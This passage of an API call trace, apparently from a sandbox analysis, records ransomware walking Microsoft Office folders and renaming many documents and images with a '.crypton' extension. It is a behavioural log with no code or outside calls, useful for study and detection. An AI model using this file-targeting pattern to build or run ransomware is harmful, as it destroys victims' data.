(lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml.crypton"), dwFlags=0x2) returned 1 [0119.960] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml.crypton"), dwFlags=0x2) returned 1 [0119.993] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml.crypton"), dwFlags=0x2) returned 1 [0120.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml.crypton"), dwFlags=0x2) returned 1 [0120.018] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml.crypton"), dwFlags=0x2) returned 1 [0120.027] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml.crypton"), dwFlags=0x2) returned 1 [0120.036] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml.crypton"), dwFlags=0x2) returned 1 [0120.042] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml.crypton"), dwFlags=0x2) returned 1 [0120.057] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml.crypton"), dwFlags=0x2) returned 1 [0120.080] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml.crypton"), dwFlags=0x2) returned 1 [0120.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml.crypton"), dwFlags=0x2) returned 1 [0120.095] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml.crypton"), dwFlags=0x2) returned 1 [0120.100] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml.crypton"), dwFlags=0x2) returned 1 [0120.110] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml.crypton"), dwFlags=0x2) returned 1 [0120.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml.crypton"), dwFlags=0x2) returned 1 [0120.127] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml.crypton"), dwFlags=0x2) returned 1 [0120.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml.crypton"), dwFlags=0x2) returned 1 [0120.140] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc4f76860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc4f76860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0120.206] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav.crypton"), dwFlags=0x2) returned 1 [0120.209] GetFileType (hFile=0x190) returned 0x1 [0120.238] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc505b0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc505b0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0120.301] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls.crypton"), dwFlags=0x2) returned 1 [0120.305] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.crypton"), dwFlags=0x2) returned 1 [0120.325] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.crypton"), dwFlags=0x2) returned 1 [0120.373] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp.crypton"), dwFlags=0x2) returned 1 [0120.376] GetFileType (hFile=0x190) returned 0x1 [0120.381] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc51d7e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc51d7e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0120.382] GetFileType (hFile=0x190) returned 0x1 [0120.387] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc51d7e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc51d7e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0120.392] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc51d7e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc51d7e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0120.436] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls.crypton"), dwFlags=0x2) returned 1 [0120.776] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg.crypton"), dwFlags=0x2) returned 1 [0120.806] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg.crypton"), dwFlags=0x2) returned 1 [0120.818] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_M.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_m.vsd"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_M.VSD.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_m.vsd.crypton"), dwFlags=0x2) returned 1 [0120.830] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_U.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_u.vsd"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_U.VSD.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_u.vsd.crypton"), dwFlags=0x2) returned 1 [0120.868] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg.crypton"), dwFlags=0x2) returned 1 [0120.875] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml.crypton"), dwFlags=0x2) returned 1 [0120.888] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt.crypton"), dwFlags=0x2) returned 1 [0120.904] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls.crypton"), dwFlags=0x2) returned 1 [0120.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls.crypton"), dwFlags=0x2) returned 1 [0120.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls.crypton"), dwFlags=0x2) returned 1 [0120.945] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls.crypton"), dwFlags=0x2) returned 1 [0120.961] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls.crypton"), dwFlags=0x2) returned 1 [0120.992] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_M.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_m.vsd"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_M.VSD.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_m.vsd.crypton"), dwFlags=0x2) returned 1 [0121.025] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_U.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_u.vsd"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_U.VSD.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_u.vsd.crypton"), dwFlags=0x2) returned 1 [0121.071] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml.crypton"), dwFlags=0x2) returned 1 [0121.116] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml.crypton"), dwFlags=0x2) returned 1 [0121.162] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml.crypton"), dwFlags=0x2) returned 1 [0121.165] GetFileType (hFile=0x190) returned 0x1 [0121.170] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc5948320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc5948320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0121.171] GetFileType (hFile=0x1f0) returned 0x1 [0121.184] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc5948320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc5948320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0121.191] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc596e480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc596e480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0121.196] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif.crypton"), dwFlags=0x2) returned 1 [0121.200] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif.crypton"), dwFlags=0x2) returned 1 [0121.204] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif.crypton"), dwFlags=0x2) returned 1 [0121.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif.crypton"), dwFlags=0x2) returned 1 [0121.215] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg.crypton"), dwFlags=0x2) returned 1 [0121.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif.crypton"), dwFlags=0x2) returned 1 [0121.225] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif.crypton"), dwFlags=0x2) returned 1 [0121.230] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg.crypton"), dwFlags=0x2) returned 1 [0121.236] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg.crypton"), dwFlags=0x2) returned 1 [0121.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif.crypton"), dwFlags=0x2) returned 1 [0121.246] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc5a06a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc5a06a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0121.252] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc5a06a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc5a06a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0121.258] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc5a2cb60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc5a2cb60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, 